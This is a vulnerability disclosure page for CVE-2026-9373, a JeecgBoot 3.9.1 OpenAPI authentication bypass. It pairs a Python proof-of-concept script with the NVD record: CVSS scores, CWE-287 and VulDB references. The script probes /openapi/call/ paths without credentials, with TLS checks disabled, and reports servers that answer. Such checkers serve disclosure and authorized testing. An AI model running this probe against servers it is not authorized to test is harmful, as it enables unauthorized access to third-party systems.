CVE-2026-9373

import requests import json # CVE-2026-9373 PoC - JeecgBoot OpenAPI Authentication Bypass # Target: JeecgBoot 3.9.1 # Endpoint: /openapi/call/ def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2026-9373 This PoC attempts to access the OpenAPI endpoint without authentication """ # Common OpenAPI endpoints in JeecgBoot endpoints = [ "/openapi/call/", "/openapi/call", "/api/openapi/call/", "/jeecg-boot/openapi/call/" ] headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/json" } print(f"[*] Testing target: {target_url}") print(f"[*] Vulnerability: CVE-2026-9373 - JeecgBoot OpenAPI Auth Bypass") print("=" * 60) for endpoint in endpoints: url = target_url.rstrip('/') + endpoint print(f"\n[+] Testing endpoint: {url}") try: # Try unauthenticated request response = requests.get(url, headers=headers, timeout=10, verify=False) print(f" Status Code: {response.status_code}") print(f" Response Length: {len(response.text)}") # Check for signs of successful access if response.status_code == 200: print(f" [!] Potentially VULNERABLE - Endpoint accessible without auth") print(f" Response preview: {response.text[:200]}...") elif response.status_code == 401 or response.status_code == 403: print(f" [+] Not vulnerable - Authentication required") else: print(f" [*] Unexpected response - Manual verification needed") except requests.exceptions.RequestException as e: print(f" [!] Request failed: {str(e)}") print("\n[*] PoC execution completed") print("[*] Note: This is for authorized security testing only") # Example usage if __name__ == "__main__": import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) target = "https://target-jeecgboot-server.com" check_vulnerability(target)

{"cve": {"id": "CVE-2026-9373", "sourceIdentifier": "[email protected]", "published": "2026-05-24T11:16:34.167", "lastModified": "2026-05-26T19:37:00.120", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been found in JeecgBoot 3.9.1. This issue affects some unknown processing of the file /openapi/call/ of the component OpenAPI Endpoint. Such manipulation leads to improper authentication. The attack can be executed remotely. A high complexity level is associated with this attack. The exploitability is assessed as difficult. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:H/Au:N/C:N/I:P/A:N", "baseScore": 2.6, "accessVector": "NETWORK", "accessComplexity": "HIGH", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE"}, "baseSeverity": "LOW", "exploitabilityScore": 4.9, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-287"}]}], "references": [{"url": "https://vuldb.com/submit/813251", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365337", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365337/cti", "source": "[email protected]"}]}}